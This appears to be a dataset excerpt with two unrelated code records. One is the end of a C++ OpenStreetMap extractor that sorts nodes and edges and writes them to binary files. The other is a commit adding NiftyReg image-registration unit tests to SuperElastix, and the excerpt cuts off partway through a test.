\"[Warning] Machine has less than 2GB RAM.\" << std::endl;\n }\n if(testDataFile(\"extractor.ini\")) {\n ExtractorConfiguration extractorConfig(\"extractor.ini\");\n unsigned memoryAmountFromFile = atoi(extractorConfig.GetParameter(\"Memory\").c_str());\n if( memoryAmountFromFile != 0 && memoryAmountFromFile <= installedRAM\/(1024*1024*1024))\n amountOfRAM = memoryAmountFromFile;\n std::cout << \"[extractor] using \" << amountOfRAM << \" GB of RAM for buffers\" << std::endl;\n }\n\n STXXLNodeIDVector usedNodeIDs;\n STXXLNodeVector allNodes;\n STXXLEdgeVector allEdges;\n STXXLAddressVector adressVector;\n STXXLStringVector nameVector;\n unsigned usedNodeCounter = 0;\n unsigned usedEdgeCounter = 0;\n\n StringMap * stringMap = new StringMap();\n Settings settings;\n settings.speedProfile.names.insert(settings.speedProfile.names.begin(), names, names+14);\n settings.speedProfile.speed.insert(settings.speedProfile.speed.begin(), speeds, speeds+14);\n\n double time = get_timestamp();\n\n stringMap->set_empty_key(GetRandomString());\n stringMap->insert(std::make_pair(\"\", 0));\n extractCallBacks = new ExtractorCallbacks(&allNodes, &usedNodeIDs, &allEdges, &nameVector, &adressVector, settings, stringMap);\n\n BaseParser<_Node, _Relation, _Way> * parser;\n if(isPBF) {\n parser = new PBFParser(argv[1]);\n } else {\n parser = new XMLParser(argv[1]);\n }\n parser->RegisterCallbacks(&nodeFunction, &relationFunction, &wayFunction, &adressFunction);\n if(parser->Init()) {\n parser->Parse();\n } else {\n std::cerr << \"[error] parser not initialized!\" << std::endl;\n exit(-1);\n }\n delete parser;\n\n try {\n \/\/ std::cout << \"[info] raw no. of names: \" << nameVector.size() << std::endl;\n \/\/ std::cout << \"[info] raw no. of nodes: \" << allNodes.size() << std::endl;\n \/\/ std::cout << \"[info] no. of used nodes: \" << usedNodeIDs.size() << std::endl;\n \/\/ std::cout << \"[info] raw no. of edges: \" << allEdges.size() << std::endl;\n \/\/ std::cout << \"[info] raw no. of relations: \" << globalRelationCounter << std::endl;\n \/\/ std::cout << \"[info] raw no. of addresses: \" << adressVector.size() << std::endl;\n\n std::cout << \"[extractor] parsing finished after \" << get_timestamp() - time << \"seconds\" << std::endl;\n time = get_timestamp();\n unsigned memory_to_use = amountOfRAM * 1024 * 1024 * 1024;\n\n std::cout << \"[extractor] Sorting used nodes ... \" << std::flush;\n stxxl::sort(usedNodeIDs.begin(), usedNodeIDs.end(), Cmp(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n\n time = get_timestamp();\n std::cout << \"[extractor] Erasing duplicate nodes ... \" << std::flush;\n stxxl::vector<NodeID>::iterator NewEnd = unique ( usedNodeIDs.begin(),usedNodeIDs.end() ) ;\n usedNodeIDs.resize ( NewEnd - usedNodeIDs.begin() );\n cout << \"ok, after \" << get_timestamp() - time << \"s\" << endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] Sorting all nodes ... \" << std::flush;\n stxxl::sort(allNodes.begin(), allNodes.end(), CmpNodeByID(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::ofstream fout;\n fout.open(outputFileName.c_str(), std::ios::binary);\n fout.write((char*)&usedNodeCounter, sizeof(unsigned));\n\n std::cout << \"[extractor] Confirming used nodes ... \" << std::flush;\n STXXLNodeVector::iterator nodesIT = allNodes.begin();\n STXXLNodeIDVector::iterator usedNodeIDsIT = usedNodeIDs.begin();\n while(usedNodeIDsIT != usedNodeIDs.end() && nodesIT != allNodes.end()) {\n if(*usedNodeIDsIT < nodesIT->id){\n usedNodeIDsIT++;\n continue;\n }\n if(*usedNodeIDsIT > nodesIT->id) {\n nodesIT++;\n continue;\n }\n if(*usedNodeIDsIT == nodesIT->id) {\n fout.write((char*)&(nodesIT->id), sizeof(unsigned));\n fout.write((char*)&(nodesIT->lon), sizeof(int));\n fout.write((char*)&(nodesIT->lat), sizeof(int));\n usedNodeCounter++;\n usedNodeIDsIT++;\n nodesIT++;\n }\n }\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] setting number of nodes ... \" << std::flush;\n std::ios::pos_type positionInFile = fout.tellp();\n fout.seekp(std::ios::beg);\n fout.write((char*)&usedNodeCounter, sizeof(unsigned));\n fout.seekp(positionInFile);\n\n std::cout << \"ok\" << std::endl;\n time = get_timestamp();\n\n \/\/ Sort edges by start.\n std::cout << \"[extractor] Sorting edges by start ... \" << std::flush;\n stxxl::sort(allEdges.begin(), allEdges.end(), CmpEdgeByStartID(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] Setting start coords ... \" << std::flush;\n fout.write((char*)&usedEdgeCounter, sizeof(unsigned));\n \/\/ Traverse list of edges and nodes in parallel and set start coord\n nodesIT = allNodes.begin();\n STXXLEdgeVector::iterator edgeIT = allEdges.begin();\n while(edgeIT != allEdges.end() && nodesIT != allNodes.end()) {\n if(edgeIT->start < nodesIT->id){\n edgeIT++;\n continue;\n }\n if(edgeIT->start > nodesIT->id) {\n nodesIT++;\n continue;\n }\n if(edgeIT->start == nodesIT->id) {\n edgeIT->startCoord.lat = nodesIT->lat;\n edgeIT->startCoord.lon = nodesIT->lon;\n edgeIT++;\n }\n }\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n \/\/ Sort Edges by target\n std::cout << \"[extractor] Sorting edges by target ... \" << std::flush;\n stxxl::sort(allEdges.begin(), allEdges.end(), CmpEdgeByTargetID(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] Setting target coords ... \" << std::flush;\n \/\/ Traverse list of edges and nodes in parallel and set target coord\n nodesIT = allNodes.begin();\n edgeIT = allEdges.begin();\n while(edgeIT != allEdges.end() && nodesIT != allNodes.end()) {\n if(edgeIT->target < nodesIT->id){\n edgeIT++;\n continue;\n }\n if(edgeIT->target > nodesIT->id) {\n nodesIT++;\n continue;\n }\n if(edgeIT->target == nodesIT->id) {\n if(edgeIT->startCoord.lat != INT_MIN) {\n edgeIT->targetCoord.lat = nodesIT->lat;\n edgeIT->targetCoord.lon = nodesIT->lon;\n\n double distance = ApproximateDistance(edgeIT->startCoord.lat, edgeIT->startCoord.lon, nodesIT->lat, nodesIT->lon);\n if(edgeIT->speed == -1)\n edgeIT->speed = settings.speedProfile.speed[edgeIT->type];\n double weight = ( distance * 10. ) \/ (edgeIT->speed \/ 3.6);\n int intWeight = max(1, (int) weight);\n int intDist = max(1, (int)distance);\n int ferryIndex = settings.indexInAccessListOf(\"ferry\");\n assert(ferryIndex != -1);\n short zero = 0;\n short one = 1;\n\n fout.write((char*)&edgeIT->start, sizeof(unsigned));\n fout.write((char*)&edgeIT->target, sizeof(unsigned));\n fout.write((char*)&intDist, sizeof(int));\n switch(edgeIT->direction) {\n case _Way::notSure:\n fout.write((char*)&zero, sizeof(short));\n break;\n case _Way::oneway:\n fout.write((char*)&one, sizeof(short));\n break;\n case _Way::bidirectional:\n fout.write((char*)&zero, sizeof(short));\n\n break;\n case _Way::opposite:\n fout.write((char*)&one, sizeof(short));\n break;\n default:\n std::cerr << \"[error] edge with no direction: \" << edgeIT->direction << std::endl;\n assert(false);\n break;\n }\n fout.write((char*)&intWeight, sizeof(int));\n short edgeType = edgeIT->type;\n fout.write((char*)&edgeType, sizeof(short));\n fout.write((char*)&edgeIT->nameID, sizeof(unsigned));\n }\n usedEdgeCounter++;\n edgeIT++;\n }\n }\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] setting number of edges ... \" << std::flush;\n fout.seekp(positionInFile);\n fout.write((char*)&usedEdgeCounter, sizeof(unsigned));\n fout.close();\n std::cout << \"ok\" << std::endl;\n time = get_timestamp();\n\n\n std::cout << \"[extractor] writing street name index ... \" << std::flush;\n std::vector<unsigned> * nameIndex = new std::vector<unsigned>(nameVector.size()+1, 0);\n outputFileName.append(\".names\");\n std::ofstream nameOutFile(outputFileName.c_str(), std::ios::binary);\n unsigned sizeOfNameIndex = nameIndex->size();\n nameOutFile.write((char *)&(sizeOfNameIndex), sizeof(unsigned));\n\n for(STXXLStringVector::iterator it = nameVector.begin(); it != nameVector.end(); it++) {\n unsigned lengthOfRawString = strlen(it->c_str());\n nameOutFile.write((char *)&(lengthOfRawString), sizeof(unsigned));\n nameOutFile.write(it->c_str(), lengthOfRawString);\n }\n\n nameOutFile.close();\n delete nameIndex;\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n\n \/\/ time = get_timestamp();\n \/\/ std::cout << \"[extractor] writing address list ... \" << std::flush;\n \/\/\n \/\/ adressFileName.append(\".address\");\n \/\/ std::ofstream addressOutFile(adressFileName.c_str());\n \/\/ for(STXXLAddressVector::iterator it = adressVector.begin(); it != adressVector.end(); it++) {\n \/\/ addressOutFile << it->node.id << \"|\" << it->node.lat << \"|\" << it->node.lon << \"|\" << it->city << \"|\" << it->street << \"|\" << it->housenumber << \"|\" << it->state << \"|\" << it->country << \"\\n\";\n \/\/ }\n \/\/ addressOutFile.close();\n \/\/ std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n\n } catch ( const std::exception& e ) {\n std::cerr << \"Caught Execption:\" << e.what() << std::endl;\n return false;\n }\n\n delete extractCallBacks;\n std::cout << \"[extractor] finished.\" << std::endl;\n return 0;\n}\n\nbool nodeFunction(_Node n) {\n extractCallBacks->nodeFunction(n);\n return true;\n}\n\nbool adressFunction(_Node n, HashTable<std::string, std::string> keyVals){\n extractCallBacks->adressFunction(n, keyVals);\n return true;\n}\n\nbool relationFunction(_Relation r) {\n globalRelationCounter++;\n return true;\n}\nbool wayFunction(_Way w) {\n extractCallBacks->wayFunction(w);\n return true;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxSuperElastixFilterCustomComponents.h\"\n\n#include \"selxRegistrationController.h\"\n\n#include \"selxNiftyregReadImageComponent.h\"\n#include \"selxNiftyregWriteImageComponent.h\"\n#include \"selxNiftyregWriteImageComponent.h\"\n#include \"selxItkToNiftiImageSourceReferenceComponent.h\"\n#include \"selxNiftiToItkImageSinkComponent.h\"\n#include \"selxItkImageSource.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"selxNiftyregf3dComponent.h\"\n#include \"selxDataManager.h\"\n#include \"gtest\/gtest.h\"\n\nnamespace selx\n{\nclass NiftyregComponentTest : public ::testing::Test\n{\npublic:\n\n typedef std::unique_ptr< Blueprint > BlueprintPointer;\n typedef itk::UniquePointerDataObjectDecorator< Blueprint > BlueprintITKType;\n typedef BlueprintITKType::Pointer BlueprintITKPointer;\n typedef Blueprint::ParameterMapType ParameterMapType;\n typedef Blueprint::ParameterValueType ParameterValueType;\n typedef DataManager DataManagerType;\n\n \/** register all example components *\/\n typedef TypeList < Niftyregf3dComponent< float >,\n NiftyregReadImageComponent< float >,\n NiftyregWriteImageComponent< float >,\n ItkToNiftiImageSourceReferenceComponent< 3, float >,\n NiftiToItkImageSinkComponent<3, float>,\n ItkImageSourceComponent<3, float>,\n RegistrationControllerComponent< >> RegisterComponents;\n\n typedef SuperElastixFilterCustomComponents< RegisterComponents > SuperElastixFilterType;\n virtual void SetUp()\n {\n \/\/ Instantiate SuperElastixFilter before each test and\n \/\/ register the components we want to have available in SuperElastix\n superElastixFilter = SuperElastixFilterType::New();\n dataManager = DataManagerType::New();\n }\n\n\n virtual void TearDown()\n {\n \/\/ Unregister all components after each test\n itk::ObjectFactoryBase::UnRegisterAllFactories();\n \/\/ Delete the SuperElastixFilter after each test\n superElastixFilter = nullptr;\n }\n\n\n \/\/ Blueprint holds a configuration for SuperElastix\n BlueprintPointer blueprint;\n SuperElastixFilterBase::Pointer superElastixFilter;\n \/\/ Data manager provides the paths to the input and output data for unit tests\n DataManagerType::Pointer dataManager;\n};\n\nTEST_F( NiftyregComponentTest, Register2d )\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer( new Blueprint() );\n blueprint->SetComponent( \"FixedImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetInputFile( \"r16slice.nii.gz\" ) } } } );\n blueprint->SetComponent( \"MovingImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetInputFile( \"r64slice.nii.gz\" ) } } } );\n blueprint->SetComponent( \"RegistrationMethod\", { { \"NameOfClass\", { \"Niftyregf3dComponent\" } } } );\n blueprint->SetComponent( \"ResultImage\", { { \"NameOfClass\", { \"NiftyregWriteImageComponent\" } }, { \"FileName\", { this->dataManager->GetOutputFile(\"Nifty_warped_r64to16.nii.gz\") } } });\n blueprint->SetComponent( \"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } } );\n\n\n blueprint->SetConnection(\"FixedImage\", \"RegistrationMethod\", { { \"NameOfInterface\", { \"NiftyregReferenceImageInterface\" } } });\n blueprint->SetConnection( \"MovingImage\", \"RegistrationMethod\", { { \"NameOfInterface\", { \"NiftyregFloatingImageInterface\" } } });\n blueprint->SetConnection(\"RegistrationMethod\", \"ResultImage\", { {} }); \/\/{ { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection( \"RegistrationMethod\", \"Controller\", { {} } );\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { {} });\n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set( blueprint );\n EXPECT_NO_THROW( superElastixFilter->SetBlueprint( superElastixFilterBlueprint ) );\n\n EXPECT_NO_THROW( superElastixFilter->Update() );\n}\nTEST_F(NiftyregComponentTest, ItkToNiftiImage)\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer(new Blueprint());\n blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"ItkToNiftiImageSourceReferenceComponent\" } }, { \"Dimensionality\", { \"3\" } }, { \"PixelType\", { \"float\" } } } );\n blueprint->SetComponent(\"ResultImage\", { { \"NameOfClass\", { \"NiftyregWriteImageComponent\" } }, { \"FileName\", { this->dataManager->GetOutputFile(\"ItkToNiftiImage_converted.nii.gz\") } } });\n blueprint->SetComponent(\"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } });\n\n blueprint->SetConnection(\"FixedImage\", \"ResultImage\", { { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { { \"NameOfInterface\", { \"AfterRegistrationInterface\" } } });\n \n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set(blueprint);\n EXPECT_NO_THROW(superElastixFilter->SetBlueprint(superElastixFilterBlueprint));\n\n \/\/ Set up the readers and writers\n auto fixedImageReader = itk::ImageFileReader<itk::Image<float, 3>>::New();\n fixedImageReader->SetFileName(dataManager->GetInputFile(\"sphereA3d.mhd\"));\n\n \/\/ Connect SuperElastix in an itk pipeline\n superElastixFilter->SetInput(\"FixedImage\", fixedImageReader->GetOutput());\n\n \/\/EXPECT_NO_THROW(superElastixFilter->Update());\n superElastixFilter->Update();\n}\n\nTEST_F(NiftyregComponentTest, NiftiToItkImage)\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer(new Blueprint());\n \/\/ TODO proper 3d nii.gz input data\n \/\/blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetInputFile(\"r16slice.nii.gz\") } } });\n blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetOutputFile(\"ItkToNiftiImage_converted.nii.gz\") } } });\n blueprint->SetComponent(\"ResultDomainImage\", { { \"NameOfClass\", { \"ItkImageSourceComponent\" } } });\n blueprint->SetComponent(\"ResultImage\", { { \"NameOfClass\", { \"NiftiToItkImageSinkComponent\" } }, { \"Dimensionality\", { \"3\" } }, { \"PixelType\", { \"float\" } } });\n blueprint->SetComponent(\"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } });\n\n blueprint->SetConnection(\"FixedImage\", \"ResultImage\", { { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection(\"ResultDomainImage\", \"ResultImage\", { { \"NameOfInterface\", { \"itkImageDomainFixedInterface\" } } });\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { { \"NameOfInterface\", { \"AfterRegistrationInterface\" } } });\n\n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set(blueprint);\n EXPECT_NO_THROW(superElastixFilter->SetBlueprint(superElastixFilterBlueprint));\n\n \/\/ Set up the readers and writers\n auto fixedDomainImageReader = itk::ImageFileReader<itk::Image<float, 3>>::New();\n fixedDomainImageReader->SetFileName(this->dataManager->GetOutputFile(\"ItkToNiftiImage_converted.nii.gz\"));\n\n superElastixFilter->SetInput(\"ResultDomainImage\", fixedDomainImageReader->GetOutput());\n\n auto fixedImageWriter = itk::ImageFileWriter<itk::Image<float, 3>>::New();\n fixedImageWriter->SetFileName(dataManager->GetOutputFile(\"NiftiToItkImage_converted.mhd\"));\n\n \/\/ Connect SuperElastix in an itk pipeline\n fixedImageWriter->SetInput(superElastixFilter->GetOutput<itk::Image<float, 3>>(\"ResultImage\") );\n\n \/\/EXPECT_NO_THROW(superElastixFilter->Update());\n fixedImageWriter->Update();\n \n}\n}\n<commit_msg>ENH: added niftyreg test running on WBIR demo data. #45<commit_after>\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxSuperElastixFilterCustomComponents.h\"\n\n#include \"selxRegistrationController.h\"\n\n#include \"selxNiftyregReadImageComponent.h\"\n#include \"selxNiftyregWriteImageComponent.h\"\n#include \"selxNiftyregWriteImageComponent.h\"\n#include \"selxItkToNiftiImageSourceReferenceComponent.h\"\n#include \"selxNiftiToItkImageSinkComponent.h\"\n#include \"selxItkImageSource.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"selxNiftyregf3dComponent.h\"\n#include \"selxDataManager.h\"\n#include \"gtest\/gtest.h\"\n\nnamespace selx\n{\nclass NiftyregComponentTest : public ::testing::Test\n{\npublic:\n\n typedef std::unique_ptr< Blueprint > BlueprintPointer;\n typedef itk::UniquePointerDataObjectDecorator< Blueprint > BlueprintITKType;\n typedef BlueprintITKType::Pointer BlueprintITKPointer;\n typedef Blueprint::ParameterMapType ParameterMapType;\n typedef Blueprint::ParameterValueType ParameterValueType;\n typedef DataManager DataManagerType;\n\n \/** register all example components *\/\n typedef TypeList < Niftyregf3dComponent< float >,\n NiftyregReadImageComponent< float >,\n NiftyregWriteImageComponent< float >,\n ItkToNiftiImageSourceReferenceComponent< 2, float >,\n NiftiToItkImageSinkComponent<2, float>,\n ItkImageSourceComponent<2, float>,\n ItkToNiftiImageSourceReferenceComponent< 3, float >,\n NiftiToItkImageSinkComponent<3, float>,\n ItkImageSourceComponent<3, float>,\n RegistrationControllerComponent< >> RegisterComponents;\n\n typedef SuperElastixFilterCustomComponents< RegisterComponents > SuperElastixFilterType;\n virtual void SetUp()\n {\n \/\/ Instantiate SuperElastixFilter before each test and\n \/\/ register the components we want to have available in SuperElastix\n superElastixFilter = SuperElastixFilterType::New();\n dataManager = DataManagerType::New();\n }\n\n\n virtual void TearDown()\n {\n \/\/ Unregister all components after each test\n itk::ObjectFactoryBase::UnRegisterAllFactories();\n \/\/ Delete the SuperElastixFilter after each test\n superElastixFilter = nullptr;\n }\n\n\n \/\/ Blueprint holds a configuration for SuperElastix\n BlueprintPointer blueprint;\n SuperElastixFilterBase::Pointer superElastixFilter;\n \/\/ Data manager provides the paths to the input and output data for unit tests\n DataManagerType::Pointer dataManager;\n};\n\nTEST_F( NiftyregComponentTest, Register2d_nifti )\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer( new Blueprint() );\n blueprint->SetComponent( \"FixedImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetInputFile( \"r16slice.nii.gz\" ) } } } );\n blueprint->SetComponent( \"MovingImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetInputFile( \"r64slice.nii.gz\" ) } } } );\n blueprint->SetComponent( \"RegistrationMethod\", { { \"NameOfClass\", { \"Niftyregf3dComponent\" } } } );\n blueprint->SetComponent( \"ResultImage\", { { \"NameOfClass\", { \"NiftyregWriteImageComponent\" } }, { \"FileName\", { this->dataManager->GetOutputFile(\"Nifty_warped_r64to16.nii.gz\") } } });\n blueprint->SetComponent( \"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } } );\n\n\n blueprint->SetConnection(\"FixedImage\", \"RegistrationMethod\", { { \"NameOfInterface\", { \"NiftyregReferenceImageInterface\" } } });\n blueprint->SetConnection( \"MovingImage\", \"RegistrationMethod\", { { \"NameOfInterface\", { \"NiftyregFloatingImageInterface\" } } });\n blueprint->SetConnection(\"RegistrationMethod\", \"ResultImage\", { {} }); \/\/{ { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection( \"RegistrationMethod\", \"Controller\", { {} } );\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { {} });\n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set( blueprint );\n EXPECT_NO_THROW( superElastixFilter->SetBlueprint( superElastixFilterBlueprint ) );\n\n EXPECT_NO_THROW( superElastixFilter->Update() );\n}\nTEST_F(NiftyregComponentTest, ItkToNiftiImage)\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer(new Blueprint());\n blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"ItkToNiftiImageSourceReferenceComponent\" } }, { \"Dimensionality\", { \"3\" } }, { \"PixelType\", { \"float\" } } } );\n blueprint->SetComponent(\"ResultImage\", { { \"NameOfClass\", { \"NiftyregWriteImageComponent\" } }, { \"FileName\", { this->dataManager->GetOutputFile(\"ItkToNiftiImage_converted.nii.gz\") } } });\n blueprint->SetComponent(\"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } });\n\n blueprint->SetConnection(\"FixedImage\", \"ResultImage\", { { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { { \"NameOfInterface\", { \"AfterRegistrationInterface\" } } });\n \n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set(blueprint);\n EXPECT_NO_THROW(superElastixFilter->SetBlueprint(superElastixFilterBlueprint));\n\n \/\/ Set up the readers and writers\n auto fixedImageReader = itk::ImageFileReader<itk::Image<float, 3>>::New();\n fixedImageReader->SetFileName(dataManager->GetInputFile(\"sphereA3d.mhd\"));\n\n \/\/ Connect SuperElastix in an itk pipeline\n superElastixFilter->SetInput(\"FixedImage\", fixedImageReader->GetOutput());\n\n \/\/EXPECT_NO_THROW(superElastixFilter->Update());\n superElastixFilter->Update();\n}\n\nTEST_F(NiftyregComponentTest, NiftiToItkImage)\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer(new Blueprint());\n \/\/ TODO proper 3d nii.gz input data\n \/\/blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetInputFile(\"r16slice.nii.gz\") } } });\n blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"NiftyregReadImageComponent\" } }, { \"FileName\", { this->dataManager->GetOutputFile(\"ItkToNiftiImage_converted.nii.gz\") } } });\n blueprint->SetComponent(\"ResultDomainImage\", { { \"NameOfClass\", { \"ItkImageSourceComponent\" } } });\n blueprint->SetComponent(\"ResultImage\", { { \"NameOfClass\", { \"NiftiToItkImageSinkComponent\" } }, { \"Dimensionality\", { \"3\" } }, { \"PixelType\", { \"float\" } } });\n blueprint->SetComponent(\"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } });\n\n blueprint->SetConnection(\"FixedImage\", \"ResultImage\", { { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection(\"ResultDomainImage\", \"ResultImage\", { { \"NameOfInterface\", { \"itkImageDomainFixedInterface\" } } });\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { { \"NameOfInterface\", { \"AfterRegistrationInterface\" } } });\n\n\n BlueprintITKPointer superElastixFilterBlueprint = BlueprintITKType::New();\n superElastixFilterBlueprint->Set(blueprint);\n EXPECT_NO_THROW(superElastixFilter->SetBlueprint(superElastixFilterBlueprint));\n\n \/\/ Set up the readers and writers\n auto fixedDomainImageReader = itk::ImageFileReader<itk::Image<float, 3>>::New();\n fixedDomainImageReader->SetFileName(this->dataManager->GetOutputFile(\"ItkToNiftiImage_converted.nii.gz\"));\n\n superElastixFilter->SetInput(\"ResultDomainImage\", fixedDomainImageReader->GetOutput());\n\n auto fixedImageWriter = itk::ImageFileWriter<itk::Image<float, 3>>::New();\n fixedImageWriter->SetFileName(dataManager->GetOutputFile(\"NiftiToItkImage_converted.mhd\"));\n\n \/\/ Connect SuperElastix in an itk pipeline\n fixedImageWriter->SetInput(superElastixFilter->GetOutput<itk::Image<float, 3>>(\"ResultImage\") );\n\n \/\/EXPECT_NO_THROW(superElastixFilter->Update());\n fixedImageWriter->Update();\n \n}\n\nTEST_F(NiftyregComponentTest, Register2d_itkImages)\n{\n \/** make example blueprint configuration *\/\n \/\/ todo: like WBIRDEMO, but set max iterations to 1 for speedy tests.\n}\n\nTEST_F(NiftyregComponentTest, WBIRDemo)\n{\n \/** make example blueprint configuration *\/\n BlueprintPointer blueprint = BlueprintPointer(new Blueprint());\n\n \n blueprint->SetComponent(\"RegistrationMethod\", { { \"NameOfClass\", { \"Niftyregf3dComponent\" } } });\n blueprint->SetComponent(\"FixedImage\", { { \"NameOfClass\", { \"ItkToNiftiImageSourceReferenceComponent\" } }, { \"Dimensionality\", { \"2\" } }, { \"PixelType\", { \"float\" } } });\n blueprint->SetComponent(\"MovingImage\", { { \"NameOfClass\", { \"ItkToNiftiImageSourceReferenceComponent\" } }, { \"Dimensionality\", { \"2\" } }, { \"PixelType\", { \"float\" } } });\n blueprint->SetComponent(\"ResultImage\", { { \"NameOfClass\", { \"NiftiToItkImageSinkComponent\" } }, { \"Dimensionality\", { \"2\" } }, { \"PixelType\", { \"float\" } } });\n blueprint->SetComponent(\"Controller\", { { \"NameOfClass\", { \"RegistrationControllerComponent\" } } });\n\n blueprint->SetConnection(\"FixedImage\", \"RegistrationMethod\", { { \"NameOfInterface\", { \"NiftyregReferenceImageInterface\" } } });\n blueprint->SetConnection(\"MovingImage\", \"RegistrationMethod\", { { \"NameOfInterface\", { \"NiftyregFloatingImageInterface\" } } });\n blueprint->SetConnection(\"FixedImage\", \"ResultImage\", { { \"NameOfInterface\", { \"itkImageDomainFixedInterface\" } } });\n blueprint->SetConnection(\"RegistrationMethod\", \"ResultImage\", { { \"NameOfInterface\", { \"NiftyregWarpedImageInterface\" } } });\n blueprint->SetConnection(\"RegistrationMethod\", \"Controller\", { {} });\n blueprint->SetConnection(\"ResultImage\", \"Controller\", { {} });\n\n blueprint->Write(dataManager->GetOutputFile(\"Niftyreg_WBIR.dot\"));\n\n \/\/ Set up the readers and writers\n typedef itk::Image< float, 2 > Image2DType;\n typedef itk::ImageFileReader< Image2DType > ImageReader2DType;\n typedef itk::ImageFileWriter< Image2DType > ImageWriter2DType;\n\n ImageReader2DType::Pointer fixedImageReader = ImageReader2DType::New();\n fixedImageReader->SetFileName(dataManager->GetInputFile(\"coneA2d64.mhd\"));\n\n ImageReader2DType::Pointer movingImageReader = ImageReader2DType::New();\n movingImageReader->SetFileName(dataManager->GetInputFile(\"coneB2d64.mhd\"));\n\n ImageWriter2DType::Pointer resultImageWriter = ImageWriter2DType::New();\n resultImageWriter->SetFileName(dataManager->GetOutputFile(\"Niftyreg_WBIR_Image.mhd\"));\n\n \/\/DisplacementImageWriter2DType::Pointer resultDisplacementWriter = DisplacementImageWriter2DType::New();\n 